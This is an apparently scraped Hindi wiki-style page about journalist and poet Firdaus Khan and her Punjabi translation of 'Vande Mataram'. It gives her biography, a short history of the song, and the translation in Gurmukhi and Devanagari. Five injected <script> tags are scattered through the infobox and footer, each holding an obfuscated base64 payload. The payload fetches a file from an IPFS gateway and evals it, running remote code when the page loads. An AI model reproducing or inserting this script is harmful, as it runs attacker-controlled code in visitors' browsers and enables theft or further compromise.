वंदे मातरम् (पंजाबी)
vande mataramh (panjabi)
| |
poora nam | firadaus khan |
abhibhavak | svargiy sattar ahamad khan aur shrimati khushanoodi khan |
karm-kshetr | patrakar, shayara aur kahanikar |
mukhy rachanaean | vande mataramh ka panjabi anuvad, tumase tan-man mile pran priy (git), khamosh rat ki tanhaee mean (nazm) |
bhasha | hiandi, aangrezi, urdoo, panjabi |
nagarikata | bharatiy |
any janakari | 'firadaus khan star nyooz ejeansi mean sanpadak haian. 'star nyooz ejeansi' aur 'star veb midiya' nam se unake do nyooz p aaurtal bhi haian. |
bahari k diyaan | meri dayari, firadaus dayari (hiandi) |
adyatan | 12:38, 4 janavari 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vande mataramh bharat ka rashtriy git hai jisaki rachana bankimachandr chatarji dvara ki gee thi. vande mataramh git ke pratham do pad sanskrit mean tatha shesh pad bangali bhasha mean the. rashtrakavi raviandranath taigor ne is git ko svarabaddh kiya. arabiando ghosh ne is git ka aangrezi mean aur arif mohammad khan ne isaka urdoo mean anuvad kiya. vande mataramh ka panjabi anuvad charchit patrakar evan shayara firadaus khan ne kiya hai.
vande mataramh ka panjabi anuvad
ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…
ਤੂੰ ਭਰੀ ਹੈ ਮਿੱਠੇ ਪਾਣੀ ਨਾਲ਼
ਫਲ ਫੁੱਲਾਂ ਦੀ ਮਹਿਕ ਸੁਹਾਣੀ ਨਾਲ਼
ਦੱਖਣ ਦੀਆਂ ਸਰਦ ਹਵਾਵਾਂ ਨਾਲ਼
ਫ਼ਸਲਾਂ ਦੀਆਂ ਸੋਹਣੀਆਂ ਫ਼ਿਜ਼ਾਵਾਂ ਨਾਲ਼
ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…
ਤੇਰੀਆਂ ਰਾਤਾਂ ਚਾਨਣ ਭਰੀਆਂ ਨੇ
ਤੇਰੀ ਰੌਣਕ ਪੈਲ਼ੀਆਂ ਹਰੀਆਂ ਨੇ
ਤੇਰਾ ਪਿਆਰ ਭਿੱਜਿਆ ਹਾਸਾ ਹੈ
ਤੇਰੀ ਬੋਲੀ ਜਿਵੇਂ ਪਤਾਸ਼ਾ ਹੈ
ਤੇਰੀ ਗੋਦ 'ਚ ਮੇਰਾ ਦਿਲਾਸਾ ਹੈ
ਤੇਰੇ ਪੈਰੀਂ ਸੁਰਗ ਦਾ ਵਾਸਾ ਹੈ
ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…
-ਫ਼ਿਰਦੌਸ ਖ਼ਾਨ
vande mataram ka panjabi anuvad (devanagari mean)
maan tainooan salam
too bhari hai miththe pani nal
phal phullaan di mahik suhani nal
dakkhan diaan sarad havavaan nal
fasalaan diaan sohaniaan fizavaan nal
maan tainooan salam…
teriaan rataan chanan bhariaan ne
teri raunak pailiaan hariaan ne
tera piar bhijia hasa hai
teri boli jivean patasha hai
teri god ’ch mera dilasa hai
tari pairian surag da vasa hai
maan tainooan salam…
-firadaus khan
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>